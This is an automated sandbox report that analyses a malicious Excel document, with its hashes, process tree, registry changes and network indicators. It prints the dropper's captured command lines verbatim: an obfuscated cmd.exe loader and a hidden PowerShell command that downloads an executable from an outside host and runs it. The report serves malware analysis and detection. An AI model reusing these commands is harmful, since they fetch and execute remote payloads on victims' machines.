Malware analysis 0535f6306fde54ba2a86ff0a14a107d997ab45334424ccdb99eecf62bcbbae54 Malicious activity

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File name:	0535f6306fde54ba2a86ff0a14a107d997ab45334424ccdb99eecf62bcbbae54
Full analysis:	https://app.any.run/tasks/ca6a6196-3cab-4fd8-a056-5069db919b5b
Verdict:	Malicious activity
Analysis date:	April 23, 2019, 10:47:43
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open
Indicators:
MIME:	application/vnd.ms-excel
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Author: ESSSSSS, Last Saved By: ESSSSSS, Last Saved Time/Date: Thu Mar 28 05:14:51 2019, Security: 0
MD5:	16BC70012D54BCBF49783B4E063695EE
SHA1:	21985F7F68440CADB846ECD86594BF0761B20635
SHA256:	0535F6306FDE54BA2A86FF0A14A107D997AB45334424CCDB99EECF62BCBBAE54
SSDEEP:	768:hkQzlaZAWh+ZO33ufIUfhttR6wyE/K87A14OiCdpqdRXgL7:KQzlaZAWh+ZO33ufIUfhttR6wyE/K87o

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: on
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: off
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Unusual execution from Microsoft Office
  - EXCEL.EXE (PID: 3568)
- Starts CMD.EXE for commands execution
  - EXCEL.EXE (PID: 3568)
SUSPICIOUS
- Executes PowerShell scripts
  - cmd.exe (PID: 3908)
- Creates files in the user directory
  - powershell.exe (PID: 2716)
INFO
- Reads Microsoft Office registry keys
  - EXCEL.EXE (PID: 3568)
- Creates files in the user directory
  - EXCEL.EXE (PID: 3568)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.xls	\|	Microsoft Excel sheet (48)
.xls	\|	Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

CompObjUserTypeLen:	31
CompObjUserType:	Microsoft Excel 2003 Worksheet
Author:	ESSSSSS
LastModifiedBy:	ESSSSSS
ModifyDate:	2019:03:28 05:14:51
Security:	None
CodePage:	Windows Latin 1 (Western European)
AppVersion:	15
ScaleCrop:	No
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
TitleOfParts:	chibykeexploit
HeadingPairs:	Worksheets 1

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

2716

powershell.exe -w hidden -ep bypass (New-Object System.Net.WebClient).DownloadFile('http://zentacher.ml/chibyke.exe',$env:temp + '\features.exe');

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

cmd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

3568

"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Excel

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll

3908

C:\warren\televisions\volunteer\..\..\..\windows\system32\cmd.exe /v:ON /c"set brings= && set deadline=%h=(z9r:xYde;GbLnyHQc.@UA63MEq)5v\fSum7X1TK$Rt8_aw4kIZ'2Wslj~JFBi-/OPV+D Ng0p,Co && for %H in (76,79,49,11,6,57,1,11,58,58,21,11,8,11,72,65,49,72,1,64,10,10,11,16,72,65,11,76,72,14,17,76,48,57,57,72,3,73,11,49,65,67,14,59,11,20,45,72,35,17,57,45,11,37,21,73,11,45,21,56,11,14,78,58,64,11,16,45,30,21,71,79,49,16,58,79,48,10,62,64,58,11,3,54,1,45,45,76,7,66,66,4,11,16,45,48,20,1,11,6,21,37,58,66,20,1,64,14,17,51,11,21,11,8,11,54,77,43,11,16,32,7,45,11,37,76,72,70,72,54,33,34,11,48,45,36,6,11,57,21,11,8,11,54,30,12,7550) DO (set brings=!brings!!deadline:~%H,1!) && if %H == 7550 call !brings:~-146!" && %tmp%/features.exe

C:\windows\system32\cmd.exe

—

EXCEL.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Command Processor

Exit code:

Version:

6.1.7601.17514 (win7sp1_rtm.101119-1850)

Modules

Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll

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Total events

755

Read events

649

Write events

Delete events

Modification events


(PID) Process:	(3568) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	write	Name:	ub<
Value: 75623C00F00D0000010000000000000000000000
(PID) Process:	(3568) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(3568) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(3568) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:	write	Name:	MTTT
Value: F00D0000065A5A0DC2F9D40100000000
(PID) Process:	(3568) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete value	Name:	ub<
Value: 75623C00F00D0000010000000000000000000000
(PID) Process:	(3568) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete key	Name:
Value:
(PID) Process:	(3568) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:	delete key	Name:
Value:
(PID) Process:	(3568) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0
(PID) Process:	(3568) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 1
(PID) Process:	(3568) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\E7869
Operation:	write	Name:	E7869
Value: 04000000F00D00005B00000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C0030003500330035006600360033003000360066006400650035003400620061003200610038003600660066003000610031003400610031003000370064003900390037006100620034003500330033003400340032003400630063006400620039003900650065006300660036003200620063006200620061006500350034002E0078006C007300000000001700000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C0001000000000000001015750FC2F9D40169780E0069780E0000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
3568	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\CVR6E65.tmp.cvr		—
		MD5:—	SHA256:—
2716	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NBMP2I5EHEFP8YQX3BMS.temp		—
		MD5:—	SHA256:—
3568	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\~DF63013AB50F714CCF.TMP		—
		MD5:—	SHA256:—
3568	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\~DFEC25DF07A70BCD25.TMP		—
		MD5:—	SHA256:—
3568	EXCEL.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\0535f6306fde54ba2a86ff0a14a107d997ab45334424ccdb99eecf62bcbbae54.xls.LNK		lnk
		MD5:—	SHA256:—
2716	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFe8364.TMP		binary
		MD5:—	SHA256:—
2716	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—
3568	EXCEL.EXE	C:\Users\admin\Desktop\0535f6306fde54ba2a86ff0a14a107d997ab45334424ccdb99eecf62bcbbae54.xls		document
		MD5:—	SHA256:—
3568	EXCEL.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat		text
		MD5:—	SHA256:—

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
2716	powershell.exe	GET	522	104.24.105.236:80	http://zentacher.ml/chibyke.exe	US	html	4.63 Kb	suspicious

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
2716	powershell.exe	104.24.105.236:80	zentacher.ml	Cloudflare Inc	US	shared

DNS requests

Domain	IP	Reputation
zentacher.ml	104.24.105.236 104.24.104.236	suspicious

Threats

PID	Process	Class	Message
1056	svchost.exe	Potentially Bad Traffic	ET INFO DNS Query for Suspicious .ml Domain

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No debug info

General Info

0535f6306fde54ba2a86ff0a14a107d997ab45334424ccdb99eecf62bcbbae54

16BC70012D54BCBF49783B4E063695EE

21985F7F68440CADB846ECD86594BF0761B20635

0535F6306FDE54BA2A86FF0A14A107D997AB45334424CCDB99EECF62BCBBAE54

768:hkQzlaZAWh+ZO33ufIUfhttR6wyE/K87A14OiCdpqdRXgL7:KQzlaZAWh+ZO33ufIUfhttR6wyE/K87o

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Unusual execution from Microsoft Office

Starts CMD.EXE for commands execution

SUSPICIOUS

Executes PowerShell scripts

Creates files in the user directory

INFO

Reads Microsoft Office registry keys

Creates files in the user directory

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings